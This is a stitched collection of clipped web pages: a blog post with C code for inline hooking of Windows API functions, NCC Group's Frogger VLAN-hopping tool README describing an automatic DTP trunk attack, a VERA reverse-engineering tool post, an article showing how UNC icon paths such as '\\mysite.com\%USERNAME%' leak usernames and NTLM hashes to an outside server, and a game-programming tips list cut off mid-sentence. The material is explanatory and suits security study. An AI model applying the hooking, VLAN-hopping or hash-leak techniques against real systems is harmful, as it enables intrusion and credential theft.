Mistakes and Truths**

Okay, I’ll be honest. The proper way to hook **_as Microsoft intended for
hotpatching_** , is to replace the  
  
‘mov edi, edi’ operation with a 2 byte short jump. You see the 5 no
operations? Right above the preamble.

<img src='img/functionpreamble.png' width='346' height='161' />

To properly hook. You replace the ‘mov edi, edi’ instruction with a 2 byte
short jump. The jump redirects to the beginning of the no operation hotpatch
and then we replace the 5 no operations with a far jump to our code.

First we replace our ‘mov edi, edi’ instruction with a short jump.

12345678910| `nop``nop``nop``nop``nop``jmp 7760CC97``push ebp``mov ebp,
esp``push -1``push 0`  
---|---  
Then we replace our no operations with a far jump.

123456| `jmp 02BE1244``jmp` `short` `7760CC97``push ebp``mov ebp, esp``push
-1``push 0`  
---|---  
What it looks like in OllyDbg. See how ‘push ebp’ and ‘mov ebp, esp’ remain
untouched.

  
  
<img src='img/shortjmpedi.png' width='537' height='123' />

Why? It prevents a race condition that could happen if we hooked the function
while the preamble is executing. In other words, if the CPU just finished
executing ‘push ebp’ in the preamble and we just so happen to be at the
perfect nanosecond while replacing ‘mov ebp, esp’, the hooked could cause a
crash. This is rare, but might happen. But if we only replace ‘mov edi, edi’
instead of the whole preamble, we have no race condition since it is only one
execution rather than three.

Below is the correct code, copy and paste ready, that replaces ‘mov edi, edi’
with a short jump and the no operations with a far jump.

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970|
`void` `HookAPI(``wchar_t` `*Module,` `char` `*API,` `DWORD` `Function)``{``
``HMODULE` `hModule = LoadLibrary(Module);` ` ``DWORD` `OriginalAddress =
(``DWORD``)GetProcAddress(hModule, API);`` ``DWORD` `ReplacementAddress =
(``DWORD``)Function;`` ``DWORD` `ReplacementAddressOffset = ReplacementAddress
- OriginalAddress - 5;`` ``DWORD` `NOPAddress = OriginalAddress - 5;``
``DWORD` `NOPAddressOffset = -7; ` `//includes 2 more bytes due to 'mov edi,
edi'` ` ``LPBYTE` `pOriginalAddress = (``LPBYTE``)OriginalAddress;`` ``LPBYTE`
`pReplacementAddressOffset = (``LPBYTE``)(&ReplacementAddressOffset);``
``LPBYTE` `pNOPAddress = (``LPBYTE``)NOPAddress;`` ``LPBYTE`
`pNOPAddressOffset = (``LPBYTE``)(&NOPAddressOffset);` ` ``DWORD` `OldProtect
= 0;`` ``DWORD` `NewProtect = PAGE_EXECUTE_READWRITE;` `
``VirtualProtect((``PVOID``)OriginalAddress, 2, NewProtect, &OldProtect);` `
``pOriginalAddress[0] = (``BYTE``)0xEB; ` `//short jmp`` ``for` `(``int` `i =
0; i < 1; i++)`` ``pOriginalAddress[i + 1] = pNOPAddressOffset[i];` `
``VirtualProtect((``PVOID``)OriginalAddress, 2, OldProtect, &NewProtect);` `
``VirtualProtect((``PVOID``)NOPAddress, 5, NewProtect, &OldProtect);` `
``pNOPAddress[0] = (``BYTE``)0xE9; ` `//far jmp`` ``for` `(``int` `i = 0; i <
4; i++)`` ``pNOPAddress[i + 1] = pReplacementAddressOffset[i];` `
``VirtualProtect((``PVOID``)NOPAddress, 5, OldProtect, &NewProtect);` `
``FlushInstructionCache(GetCurrentProcess(), NULL, NULL);` `
``FreeLibrary(hModule);``}` `void` `UnHookAPI(``wchar_t` `*Module,` `char`
`*API)``{`` ``HMODULE` `hModule = LoadLibrary(Module);` ` ``DWORD`
`OriginalAddress = (``DWORD``)GetProcAddress(hModule, API);`` ``DWORD`
`NOPAddress = OriginalAddress - 5;` ` ``LPBYTE` `pOriginalAddress =
(``LPBYTE``)OriginalAddress;`` ``LPBYTE` `pNOPAddress =
(``LPBYTE``)NOPAddress;` ` ``DWORD` `OldProtect = 0;`` ``DWORD` `NewProtect =
PAGE_EXECUTE_READWRITE;` ` ``VirtualProtect((``PVOID``)pOriginalAddress, 2,
NewProtect, &OldProtect);` ` ``pOriginalAddress[0] = 0x8B; ` `//mov``
``pOriginalAddress[1] = 0xFF; ` `//edi, edi` `
``VirtualProtect((``PVOID``)OriginalAddress, 2, OldProtect, &NewProtect);` `
``VirtualProtect((``PVOID``)NOPAddress, 5, NewProtect, &OldProtect);` ` ``for`
`(``int` `i = 0; i < 5; i++)`` ``pNOPAddress[i] = 0x90; ` `//nop` `
``VirtualProtect((``PVOID``)NOPAddress, 5, OldProtect, &NewProtect);` `
``FlushInstructionCache(GetCurrentProcess(), NULL, NULL);` `
``FreeLibrary(hModule);``}`  
---|---  
#####

VirtualProtect\(\) can be commented out in the UnHook method if you plan on
re-hooking. Waste of cycles in nop-ing the short jump.

123456| `VirtualProtect((``PVOID``)NOPAddress, 5, NewProtect, &OldProtect);`
`for` `(``int` `i = 0; i < 5; i++)`` ``pNOPAddress[i] = 0x90;`
`VirtualProtect((``PVOID``)NOPAddress, 5, OldProtect, &NewProtect);`  
---|---  
###

### **  
  
Final thoughts**

Not related at all.

<img src='img/codapp.png' width='1025' height='358' />

This entry was posted in Blog. Bookmark the permalink.

Why Pointers are Difficult to Understand →

### Leave a Reply

Your email address will not be published.

Name

Email

  
  
nine − 1 =

Comment

You may use these HTML tags and attributes: `<a href="" title=""> <abbr
title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del
datetime=""> <em> <i> <q cite=""> <strike> <strong>`

###

Search for:

### Recent Posts

  * Why Pointers are Difficult to Understand
  * Hotpatching and Inline Function Hooking Explained

Powered by Wordpress.

  *[HTML]: HyperText Markup Language

# nccgroup/vlan-hopping

**Created:**| _9/27/2013 10:30:56 AM_  
---|---  
**Updated:**| _9/27/2013 10:30:56 AM_  
**Author:**| __  
**Tags:**| _cisco network-security SDN vlan_  
  

# Frogger - VLAN Hopping****

Simple VLAN enumeration and hopping script**.**

Released as open source by NCC Group Plc - http://www.nccgroup.com/

Developed by Daniel Compton, daniel dot compton at nccgroup dot com

https://github.com/nccgroup/vlan-hopping

Released under AGPL see LICENSE for more information

#  Installing****

[code]

    git clone https://github.com/nccgroup/vlan-hopping.git
    
[/code]

#  How To Use****

[code]

    **.** /frogger**.** sh
    
[/code]

Run as root.

#  Features****

  * Sniffs out CDP packets and extracts \(VTP domain name, VLAN management address, Native VLAN ID and IOS version of Cisco devices\)
  * It will enable a DTP trunk attack automatically
  * Sniffs out and extracts all 802**.** 1Q tagged VLAN packets within STP packets and extracts the unique IDs**.**
  * Auto arp-scans the discovered VLAN IDs and auto tags packets and scans each VLAN ID for live devices**.**
  * Auto option to auto create a VLAN interface within the found network to connect to that VLAN**.**

#  Requirements****

  * Arp-Scan 1**.** 8 \(in order to support VLAN tags must be V1.8 - Backtrack ships with V1**.** 6 that does not support VLAN tags\) http://www.nta-monitor.com/tools-resources/security-tools/arp-scan 
  * Yersina \(built into Backtrack\)
  * Tshark \(buit into Backtrack\)
  * Screen \(built into Backtrack\)
  * Vconfig \(built into Backtrack\)

Tested on Backtrack 5 and Kali**.**

  * Notes for VMware**.** VLAN hopping generally \(not just this script\) can have issues within VMware if running the VM within Windows with certain Intel drivers**.** The Intel drivers strip off the tags before it reaches the VM**.** Either use an external USB ethernet card such as a DLink USB 2**.** 0 DUB-E100 \(old model 10/100 not gigabit\) or boot into Backtrack nativiely from a USB stick**.** Intel has published a registry fix, to work on some models: http://www.intel.com/support/network/sb/CS-005897.htm  \- adding "MonitorMode" 1 to the registry does resolve the issue**.**

#  Screen Shot****

<img src='img/Temp2_10489.png' alt='Screenshot' />

<img src='img/Temp2_10490.png' alt='Screenshot' />

#  Change Log****

  * Version 2**.** 0 - \(Coming soon\) will support Cisco ISL encapsulation**.**
  * Version 1**.** 8 - Added VMware detection and Intel NIC detection to assist with common problems within VMware**.**
  * Version 1**.** 7 - New look, bug fixes and speed improvements.
  * Version 1**.** 5 - Official release.

****

# VERA : reverse engineering visualization program — PenTestIT

**Created:**| _5/29/2010 11:24:35 AM_  
---|---  
**Updated:**| _5/29/2010 11:24:35 AM_  
**Author:**| _wishi_  
**Tags:**| _Practical Software Verification reversing visualization_  
  

# VERA: A Reverse Engineering and Visualization Program\!

May 26, 2010 12:29 pm · 0 comments 67 views

by Black

in Open Source, Penetration Testing, Reverse Engineering, Security
Reconnaissance

Latest version of VERA, the reverse engineering visualization program. Lots of
bugs have been fixed.

Here is the change log:  
\- View panning has now been fixed so that it follows the mouse.  
\- Cleaned up display code and made it more portable  
\- Fixed right-click selection code. Currently a stub function but more will
come later  
\- Center graph on first load. Now the graph isn’t out in the middle of
nowhere when you first load it.  
\- The start of execution is highlighted with a big blue box  
\- Added arrows to show directionality of execution  
\- Implemented frustum culling for rendering font text. This makes things much
faster.

<img src='img/74d7cdc4ce33d208eb64bfc6103dbcab.jpg' width='320' height='309'
alt='74d7cdc4ce33d208eb64bfc6103dbcab VERA: A Reverse Engineering and
Visualization Program!' />

How to use VERA?  
to try and use Ether which you definitely should make sure you run Debian
Sarge \(or Etch or Lenny\) with a 64-bit installation. From there the
installation instructions from the Ether site should be all you need.

To use the Vera code, you’ll need to execute Ether with the instrtrace option
and the binary you want to analyze. To do that, simply start your Xen Windows
image.

[code]

    xm create /etc/xen/your-windows-config.cfg
    
[/code]

Once it is completely booted, copy your file on the system. From there you
will need to start ether. The command-line to use is:

<img src='img/.jpeg' alt='Click Here' />

[code]

    ./ether ID_GOES_HERE instrtrace file-to-analyze.exe &amp;gt; file-to-analyze.trace
    
[/code]

Start the executable on the virtual machine. Let it run for a little while and
then kill the process inside of your virtual machine. Once that is done, copy
the .trace file to your windows box.

The next step will be to run gengraph.exe on the resulting file. You will need
the tracefile and the original executable in order to properly parse it.

[code]

    gengraph.exe file-to-analyze.trace file-to-analyze.exe file-to-analyze.gml
    
[/code]

This will generate two files: all-file-to-analyze.gml and bbl-file-to-
analyze.gml. Now it’s time to use the VERA program. You can simply open the
GML files and begin exploring the file.

Download VERA version 0.1 **here**.

Searches leading to this post:  
vera 0 1 tutorial

<img src='img/11493_.gif' alt='Click Here' />

## If you enjoyed this article, you might also like:

  * May 13, 2010 -- KHOBE: The Kernel HOok Bypassing Engine\!  
Today's security software have a prime task of protecting computers against
malware and hacker attac...

  * May 5, 2010 -- UPDATE: TitanEngine 2.0.3\!  
You can find our first post regarding TitanEngine, which was released at
BlackHat 09 here. Now, we h...

  * April 20, 2010 -- ReFrameworker: A General Purpose Framework Modifier  
ReFrameworker is a general purpose Framework modifier, used to reconstruct
framework Runtimes by cre...

  * January 18, 2010 -- Immunity Debugger – tool to write exploits, analyze malware, and reverse engineer  
Immunity Debugger is a powerful new way to write exploits, analyze malware,
and reverse engineer bin...

  * December 15, 2009 -- UPDATE: TitanEngine 2.0.2\!  
So, we posted about this piece of absofreakinlutely amazing piece of software
some time ago. We were...

  * December 11, 2009 -- OllyDbg 2.0  
OllyDbg is a 32-bit assembler level analyzing debugger for Microsoft Windows.
Emphasis on binary cod...

  * October 22, 2009 -- Turbodiff – binary diffing tool  
Turbodiff is a binary diffing tool developed as an IDA plugin. It discovers
and analyzes differences...

  * October 7, 2009 -- Code Crawler – OWASP Code Crawler / Review tool  
Code Crawler tool aimed at assisting code review practitioners. It is a static
code review tool whic...

  * August 6, 2009 -- PaiMei: The Reverse Engineering Framework  
We were searching for a replacement for OllyDbg, when we stumbled on an
extremely good debugger - Py...

  *[May 26, 2010 12:29 pm]: 2010-05-26 12:29

# NTLM Hash Leaks: Microsoft's Ancient Design Flaw

**Created:**| _7/17/2017 11:16:38 AM_  
---|---  
**Updated:**| _7/17/2017 11:16:38 AM_  
**Author:**| __  
**Tags:**| _hashes windows environment_  
  

  

# NTLM Hash Leaks: Microsoft's Ancient Design Flaw

#### 13 Jul 2017

__ Reading time ~3 minutes

__

## Your password hash has been leaking for 20 years

In March, I began experimenting with a technique used by Thinkst’s
Canarytokens, which allowed them to ping a server when a folder was opened.
Basically, they used a desktop.ini file to set the folder icon to an external
network share. For instance, they would set the icon of the folder to
`\\ourwebsite.com\Something\icon.ico`, and respond when that URL was pinged.

### Discovery \#1

After toying with this for a while, I noticed that environment variables could
be used within these URLS, thus allowing for an information leak. When setting
the URL to `\\mysite.com\%USERNAME%`, I was able to extract the current
username from the system. Additionally, I was able to extract any variable,
such as %PATH% or %JAVA\_HOME%.

### Discovery \#2

Unfortunately, this still required the user to open a folder to leak
information. It wasn’t enough in my mind to be dangerous. So, after a lot of
experimentation, I was also able to get this exploit to work via the icons of
.lnk files, allowing it to be exploited via flash drives. At this point, I
felt it was worthwhile to report this to Microsoft. While unfortunate,
Microsoft did not feel this leaked enough information to be relevant. It
wasn’t until several weeks later that I reopened the conversation.

### Discovery \#3

While browsing Reddit, as I so often do, I stumbled upon an interesting post
with a familiar theme. This post by Bosko Stankovic, introduced me to the
wonders of NTLM hashes. Not only does the rendering of a filesystem icon cause
a hashed version of the user’s password to be sent over the network, but the
rendering of ANY image using the`\\` UNC prefix will do this. This brings us
to the meat of the problem. After researching this further, I realized that
this bug was first reported to Microsoft in 1997, making it older than I am.
Microsoft has intentionally left this unfixed due to the structural changes it
would require. Keep in mind this bug was originally introduced for
WinNT/Win95. I can’t see how this wasn’t included during the massive
restructuring that seems to occur during the countless major version updates
since then.

### Microsoft’s Stance/Recommendations

It took Microsoft a long time to respond to this issue. It wasn’t until 2009,
roughly 12 years after this exploit was initially reported, that they decided
to implement a workaround. Enter NTLM Blocking. Microsoft made it **very**
clear that they strongly recommended against disabling NTLM due to
incompatibility issues. Instead, they created a system called NTLM Blocking,
which requires users to edit their Windows security policies, track event
logs, and whitelist applications that need access. This system, while
effective if used correctly, is very complicated for normal users to configure
and difficult to understand.

### It’s not all terrible

Thankfully for Windows users, ISPs are defending them where their OS has
failed to with a rather nuclear option. Microsoft maintains a list of ISPs
that block port 445. This, combined with the fact that some modems will block
outbound traffic on port 445, has prevented this issue from being as widely
exploitable over the internet. However, even when this attack is blocked over
the internet, it is **very** rarely blocked over LAN, meaning it could be used
as a method of pivoting within networks. This issue highlights a serious
problem with Microsoft’s inability to restructure core systems within Windows.

The fact that simply opening an email or a webpage can cause you or your
organization to be compromised, even on a fully patched system, should be the
a priority fix for Microsoft, but sadly it seems they are too big to move
efficiently on this front. I was told that a refactor of NTLM handling had
been ongoing internally for some time by the case manager, however I’ve seen
nothing to verify this is true.

### Thanks

I’d like to extend my thanks to the authors of the articles linked in this
post, especially Aaron Spangler, who originally reported this bug.
Additionally, to my friends at the GDI Foundation for their continued guidance
in responding to this issue.

  

# Dodgy Coder: Coding tricks of game developers

**Created:**| _2/13/2012 9:00:14 PM_  
---|---  
**Updated:**| _2/13/2012 9:00:17 PM_  
**Author:**| __  
**Tags:**| _C++ programming_  
  

### Coding tricks of game developers

If you've got any real world programming experience then no doubt at some
point you've had to resort to some quick and dirty fix to get a problem solved
or a feature implemented while a deadline loomed large. Game developers often
experience a horrific "crunch" \(also known as a "death march"\), which
happens in the last few months of a project leading up to the game's release
date. Failing to meet the deadline can often mean the project gets cancelled
or even worse, you lose your job. So what sort of tricks do they use while
they're under the pump, doing 12+ hour per day for weeks on end?  
  
Below are some classic anecdotes and tips - many thanks to Brandon Sheffield
who originally put together this article on Gamasutra. I have reposted a few
of his stories and also added some more from newer sources. I have also linked
on each story to the author's home page or blog wherever possible.  
  
1\. The programming antihero - Noel Llopis  
  
I was fresh out of college, still wet behind the ears, and about to enter the
beta phase of my first professional game project -- a late-90s PC title. It
had been an exciting rollercoaster ride, as projects often are. All the
content was in and the game was looking good. There was one problem though: We
were way over our memory budget.  
  
Since most memory was taken up by models and textures, we worked with the
artists to reduce the memory footprint of the game as much as possible. We
scaled down images, decimated models, and compressed textures. Sometimes we
did this with the support of the artists, and sometimes over their dead
bodies.  
  
We cut megabyte after megabyte, and after a few days of frantic activity, we
reached a point where we felt there was nothing else we could do. Unless we
cut some major content, there was no way we could free up any more memory.
Exhausted, we evaluated our current memory usage. We were still 1.5 MB over
the memory limit\!  
  
At this point one of the most experienced programmers in the team, one who had
survived many years of development in the "good old days," decided to take
matters into his own hands. He called me into his office, and we set out upon
what I imagined would be another exhausting session of freeing up memory.  
  
Instead, he brought up a source file and pointed to this line:  
  
static char buffer\[1024\*1024\*2\];  
  
"See this?" he said. And then deleted it with a single keystroke. Done\!  
  
He probably saw the horror in my eyes, so he explained to me that he had put
aside those two megabytes of memory early in the development cycle. He knew
from experience that it was always impossible to cut content down to memory
budgets, and that many projects had come close to failing because of it. So
now, as a regular practice, he always put aside a nice block of memory to free
up when it's really needed.  
  
He walked out of the office and announced he had reduced the memory footprint
to within budget constraints -- he was toasted as the hero of the project.  
  
As horrified as I was back then about such a "barbaric" practice, I have to
admit that I'm warming up to it. I haven't gotten into the frame of mind where
I can put it to use yet, but I can see how sometimes, when you're up against
the wall, having a bit of memory tucked away for a rainy day can really make a
difference. Funny how time and experience changes everything.  
  
2\. Cache it up - Andrew Russell  
  
To improve performance when you are processing things in a tight loop, you
want to make the data for each iteration as small as possible, and as close
together as possible in memory. That means the ideal is an array or vector of
objects \(not pointers\) that contain only the data necessary for the
calculation.  
  
This way, when the CPU fetches the data for the first iteration of your loop,
the next several iterations worth of data will get loaded into the cache with
it.  
  
There's not really much you can do with using fewer and faster instructions
because the CPU is as fast as its going to get, and the compiler can't be
improved. Cache coherence is where it's at - this article contains a good
example of getting cache coherency for an algorithm that doesn't simply run
through data linearly.  
  
3\. Plan your distractions - Jay Barnson  
  
The Internet is one of the greatest tools ever invented for both improving and
destroying productivity. Twitter and forums and blogs and instructional
websites can be extremely motivational and educational, but they can also be a
distraction that completely destroys all hope of ever getting anything done.
One thing I’ve done in the past which has proven pretty successful is to stick
to a plan for when I can spend some minutes checking email and Twitter, or
play a quick game or something. Either at the completion of a task, or after a
period of time \(say one five-minute break every hour\). Otherwise, the
browser’s only use is for reading reference manual pages, if necessary. That
way I turn a potential distraction into a motivating tool.  
  
4\. Collateral damage - Jim Van Verth \(@cthulhim\)  
  
Don't know how many remember Force 21, but it was an early 3D RTS which used a
follow cam to observe your current platoon. Towards the end of the project we
had a strange bug where the camera would stop following the platoon -- it
would just stay where it was while your platoon moved on and nothing would
budge it. The apparent cause was random because we couldn't find a decent
repro case. Until, finally, one of the testers noticed that it happened more
often when an air strike occurred near your vehicles. Using that info I was
able to track it down.  
  
Because the camera was using velocity and acceleration and was collidable, I
derived it from our PhysicalObject class, which had those characteristics. It
also had another characteristic: PhysicalObjects could take damage. The air
strikes did enough damage in a large enough radius that they were quite
literally "killing" the camera.  
  
I did fix the bug by ensuring that cameras couldn't take damage, but just to
be sure, I boosted their armor and hit points to ridiculous levels. I believe
I can safely say we had the toughest camera in any game.  
  
5\. The blind leading the blind - Maurício Gomes  
  
At university there was a team that made a FPS flash game. For some bizarre
reason, the programmer, instead of checking if the character was colliding
with the wall and stop you going there, he did the inverse, he checked if
there was a wall, and only allowed you to move parallel to it\!  
  
This sparked a bizarre bug: in crossings or T junctions in the level, you
could not actually cross, only turn to the passage on your left or right. The
deadline was closing, and they had no idea on how to fix it.  
  
Then the team writer fixed the issue; he told the artist to add an animation
of hands touching the walls, and then he added in the background story that
the main character was blind and needed to constantly touch the walls to know
where he was going.  
  
6\. You wouldn't like me when I'm angry - Nick Waanders  
  
I once worked at THQ studio Relic Entertainment on The Outfit, which some may
remember as one of the earlier games for the Xbox 360. We started with a PC
engine \(single-threaded\), and we had to convert it to a complete game on a
next-gen multi-core console in about 18 months. About three months before
shipping, we were still running at about 5 FPS on the 360. Obviously this game
needed some severe optimization.  
  
When I did some performance measurements, it became clear that as much as the
code was slow and very "PC," there were also lots of problems on the content
side as well. Some models were too detailed, some shaders were too expensive,
and some missions simply had too many guys running around.  
  
It's hard to convince a team of 100 people that the programmers can't simply
"fix" the performance of the engine, and that some of the ways people had
gotten used to working to needed to be changed. People needed to understand
that the performance of the game was everybody's problem, and I figured the
best way to do this is with a bit of humor that had a bit of hidden truth
behind it.  
  
The solution took maybe an hour. A fellow programmer took four pictures of my
face -- one really happy, one normal, one a bit angry, and one where I am
pulling my hair out. I put this image in the corner of the screen, and it was
linked to the frame rate. If the game ran at over 30fps, I was really happy,
if it ran below 20, I was angry.  
  
After this change, the whole FPS issue transformed from, "Ah, the programmers
will fix it." to, "Hmm, if I put this model in, Nick is going to be angry\!
I'd better optimize this a little first." People could instantly see if a
change they made had an impact on the frame rate, and we ended up shipping the
game at 30fps.  
  
7\. Its not a bug, its a feature\! - Philip Tan  
  
I worked on an RPG in which we were trying to get the NPCs \(Non-player
Characters\) to spot when you were in range, walk up to you, and strike up a
conversation with you by activating the dialog system.  
  
We forgot to add code to distinguish NPCs from PCs \(Player Characters\), so
we'd walk into town and all the NPCs would be talking with each other. Because
all NPC AI code used the same dialog template, they actually got a few
sentences in before the conversations became nonsensical. And because
character dialog was broadcast, you could read everything they said if you
were in range.  
  
We decided to turn that bug into a major feature.  
  
8\. Dirty deeds - Tim Randall \(Developer @ Encore\)  
  
The engine team at Gremlin Interactive used to keep a single glove in their
office. When someone asked why it was there, they were told it was only used
when someone was about to type some really dirty code. It wasn't so much a
case of not wanting to leave fingerprints but rather not wanting to actually
touch the dirtiest fixes\!  
  
9\. Explicit conditional hinting - ZorbaTHut  
  
A very, very low-level tip, but one that can come in handy... most compilers
support some form of explicit conditional hinting. GCC has a function called
\_\_builtin\_expect which lets you inform the compiler what the value of a
result probably is. GCC can use that data to optimize conditionals to perform
as quickly as possible in the expected case, with slightly slower execution in
the unexpected case.  
  
if\(\_\_builtin\_expect\(entity->extremely\_unlikely\_flag, 0\)\) \{  
// code that is rarely run  
\}  
  
I've seen a 10-20% speedup with proper use of this.  
  
10\. Object-ive oriented programming - Anonymous  
  
Back at a game studio, I think it was near the end of the project, we had an
object in one of the levels that needed to be hidden. We didn't want to re-
export the level and we did not use checksum names. So right smack in the
middle of the engine code we had something like the following:  
  
if\( level == 10 && object == 56 \)  
\{  
HideObject\(\);  
\}  
  
The game shipped with this in.  
  
Maybe a year later, an artist using our engine came to us very frustrated
about why an object in their level was not showing up after exporting. The
level they had a problem with resolved to level 10. I wonder why?  
  
11\. Stack vs Heap - Torbjörn Gyllebring  
  
Stack allocation is much faster than heap allocation since all it really does
is move the stack pointer. Using memory pools, you can get comparable
performance out of heap allocation, but that comes with a slight added
complexity and its own headaches.  
  
Also, stack vs heap is not only a performance consideration; it also tells you
a lot about the expected lifetime of objects. The stack is always hot, the
memory you get is much more likely to be in cache than any far heap allocated
memory.  
  
Downside of the stack is that it is actually a stack. You can't free a chunk
of memory used by the stack unless it is on top of it. There's no management,
you push or pop things on it. On the other hand, the heap memory is managed:
it asks the kernel for memory chunks, maybe splits them, merges thems, reuses
them and frees them. The stack is really meant for fast and short allocations.  
  
12\. I'm a programmer, not an artist - Damian Connolly  
  
For indie / solo developers who are working on an iPhone or Android game on
their own, while you're looking for an artist etc, you should be developing
your game at the same time. Use programmer art, stand-ins, free sprites
anything. Most of the time, before even thinking about final assets, I just
want something up and running quickly to see if it's fun. Prototype the crap
out of it and find the game. Then, when the gameplay's locked down, you can
start putting in the proper art. Doing it the other way around leads to lost
money, and work that needs to be redone multiple times, which aside from
harming your project, sucks your motivation to finish it \(and if you're
making a game to get a job, showing that you can finish a project is a good
thing\). Another tip if you're lacking upfront finance is to find a freelance
game artist who will accept a revenue sharing deal, e.g. typically something
like 30% of game revenue, payable once it gets published to the AppStore.  
  
13\. Remove unnecessary branches - tenpn  
  
On some platforms and with some compilers, branches can throw away your whole
pipeline, so even insignificant if\(\) blocks can be expensive.  
  
The PowerPC architecture \(PS3/x360\) offers the floating-point select
instruction, fsel. This can be used in the place of a branch if the blocks are
simple assignments:  
  
float result = 0;  
if \(foo > bar\) \{ result = 2.0f; \}  
else \{ result = 1.0f; \}  
  
Becomes:  
  
float result = fsel\(foo-bar, 2.0f, 1.0f\);  
  
When the first parameter is greater than or equal to 0, the second parameter
is returned, else the third. The price of losing the branch is that both the
if\{\} and the else\{\} block will be executed, so if one is an expensive
operation or dereferences a NULL pointer this optimisation is not suitable.
Sometimes your compiler has already done this work, so check your assembly
first.  
  
14\. Hack the stack - Steve DeFrisco  
  
I was one of a few interns at IMAGIC in 1982-83. We were all doing
Intellivision carts. One of the programmers had to leave to go back to school,
and I was chosen to fix the random crash bug in his game. It turned out to be
a stack overflow in the timer interrupt handler. Since the only reason for the
handler was to update the \*display\* of the on-screen timer, I added some
code to test the depth of the stack at the beginning of the interrupt routine.
If we were in danger of overflowing the stack, return without doing anything.
Since the handler was called multiple times per second, the player never
noticed, and the crash was fixed.  
  
15\. Meet my dog, "Patches" \- Mick West  
  
There's an old joke that goes something like this:  
  
Patient: "Doctor, it hurts when I do this."  
Doctor: "Then stop doing it."  
  
Funny, but are these also wise words when applied to fixing bugs? Consider the
load of pain I found myself in when working on the port of a 3D third person
shooter from the PC to the original PlayStation.  
  
Now, the PS1 has no support for floating point numbers, so we were doing the
conversion by basically recompiling the PC code and overloading all floats
with fixed point. That actually worked fairly well, but where it fell apart
was during collision detection.  
  
The level geometry that was supplied to us worked reasonably well in the PC
version of the game, but when converted to fixed point, all kinds of seams,
T-Junctions and other problems were nudged into existence by the microscopic
differences in values between fixed and floats. This problem would manifest
itself in one case with the main character touching a particular type of door
in a particular level in a particular location; rather than fix the root cause
of the problem, I simply made it so that if he ever touched the door, then I'd
move him away, and pretend it never happened. Problem solved.  
  
Looking back I find this code quite horrifying. It was patching bugs and not
fixing them. Unfortunately the real fix would have been to go and rework the
entire game's geometry and collision system specifically with the PS1 fixed
point limitations in mind. The schedule was initially aggressive, and since we
always seemed close to finishing, the quick patch option won over against a
comprehensive \(but expensive\) fix.  
  
But it did not go well. Hundreds of patches were needed, and then the patches
themselves started causing problems, so more patches were added to turn off
the patches in hyper-specific circumstances. The bugs kept coming, and I kept
beating them back with patches. Eventually I won, but at a cost of shipping
several months behind schedule, and working 14 hour days for all of those
several months.  
  
That experience soured me against "the patch." Now I always try to dig right
down to the root cause of a bug, even if a simple, and seemingly safe, patch
is available. I want my code to be healthy. If you go to the doctor and tell
him "it hurts when I do this," then you expect him to find out why it hurts,
and to fix that. Your pain and your code's bugs might be symptoms of something
far more serious. The moral: Treat your code like you would want a doctor to
treat you; fix the cause, not the symptoms.  
  
16\. Identity crisis - Noel Llopis  
  
This scene is familiar to all game developers: It's the day we're sending out
the gold candidate for our Xbox 1 game. The whole team is playtesting the game
all day long, making sure everything looks good. It's fun, it's solid, it's
definitely a go in our minds.  
  
In the afternoon, we make the last build with the last few game-balancing
tweaks, and do one last playthrough session when disaster strikes: The game
crashes hard\! We all run to our workstations, fire up the debugger, and try
to figure out what's going on. It's not something trivial, like an assert, or
even something moderately hard to track down, like a divide by zero. It looks
like memory is garbage in a few places, but the memory reporting comes out
clean. What's going on?  
  
One dinner and many hours later, our dreams of getting out on time shattered,
we manage to track it down to one data file being loaded in with the wrong
data. The wrong data? How's that possible? Our resource system boiled down
every asset to a 64-bit identifier made out of the CRC32 of the full filename
and the CRC32 of all the data contents. That was also our way of collapsing
identical resource files into a single one in the game. With tens of thousands
of files, and two years of development, we never had a conflict. Never.  
  
Until now, that is.  
  
It turns out that one of the innocent tweaks the designers had checked in that
afternoon made it so a text file had the exact same filename and data CRC as
another resource file, even though they were completely different\!  
  
Our hearts sank to our feet when we recognized the problem. There's no way we
could change the resource indexing system in such a short period of time. Even
if we pulled an all-nighter, there was no way to know for sure that everything
would be stable in the morning.  
  
Then, as quickly as despair swept over us, we realized how we could fix this
on time for the gold candidate release. We opened up the text file responsible
for the conflict, added a space at the end, and saved it. We looked at each
other with huge grins on our faces and said:  
  
"Ship it\!"  
  
The extra space meant the CRC32 checksum of the text file was altered and
therefore no longer conflicted with the other resource.  
  
17\. HexEdit to the rescue - Ken Demarest  
  
Back on Wing Commander 1 we were getting an exception from our EMM386 memory
manager when we exited the game. We'd clear the screen and a single line would
print out, something like "EMM386 Memory manager error. Blah blah blah." We
had to ship ASAP. So I hex edited the error in the memory manager itself to
read "Thank you for playing Wing Commander."  
  
18\. 8-bit audio stomper - Toonse  
  
For a launch product of a certain console I had a nasty bug report from QA
that took 20+ hours to reproduce. Finally \(with 24 hours left to go to hit
console launch\) tracked it down to some audio drivers in the firmware that
were erroneously writing 1 random byte "somewhere" at random times where the
"somewhere" was always in executable code space. I finally figured out that
any given run of the game that "somewhere" was always the same place, luckily.
1st party said sorry, can't fix it in time as we don't know why it's being
caused\! So I shipped that game with stub code at the very start of main that
immediately saved off the 1 byte from the freshly loaded executable in the
place I knew it would overwrite for that particular version of the exe. There
was then code that would run each frame after audio had run and restore that
byte back to what it should be just in case it had been stomped that frame.
Good times\! We hit launch.  
  
To this day I still feel very very dirty about this hack, but it was needed to
achieve the objectives and harmed no-one :\)  
  
19\. Rainy day server pool - Potatolicious  
  
I used to work for a company that had a horrific hardware requisition policy.
If your team needed a server, it had to go through a lengthy and annoying
approvals process - and even then, it took months before Infrastructure would
actually provide said servers.  
  
In other words, when a project gets handed down from above to launch in, say,
3 months, there's no way in hell you can get the servers requisitioned,
approved, and installed in that time. It became standard practice for each
team to slightly over-request server capacity with each project and throwing
the excess hosts into a rainy day pool, immediately available and
repurposeable as required.  
  
New servers will still get requested for these projects, but since they took
so long to approve, odds are they'd go right into the pool whenever they
actually arrived, which sometimes took up to a year.  
  
Of course, it was horrifyingly inefficient. Just on my team alone I think we
had easily 50 boxes sitting around doing nothing \(and powered on to boot\)
waiting to pick up the slack of a horrendously broken bureaucracy.  
  
20\. Bit shifting magic - Steven Pigeon  
  
In order to avoid stalls in the processor pipeline due to branching, one can
often use a branchless equivalent, that is, code transformed to remove the if-
then-elses and therefore jump prediction uncertainties. E.g. a straightforward
implementation of abs\( \) in C might be  
  
inline int abs\(int x\)  
\{  
return \(x<0\) ? -x : x;  
\}  
  
Which is simple enough but contains an inline if-then-else. As the argument,
x, isn’t all that likely to follow a pattern that the branch prediction unit
can detect, this simple function becomes potentially costly as the jump will
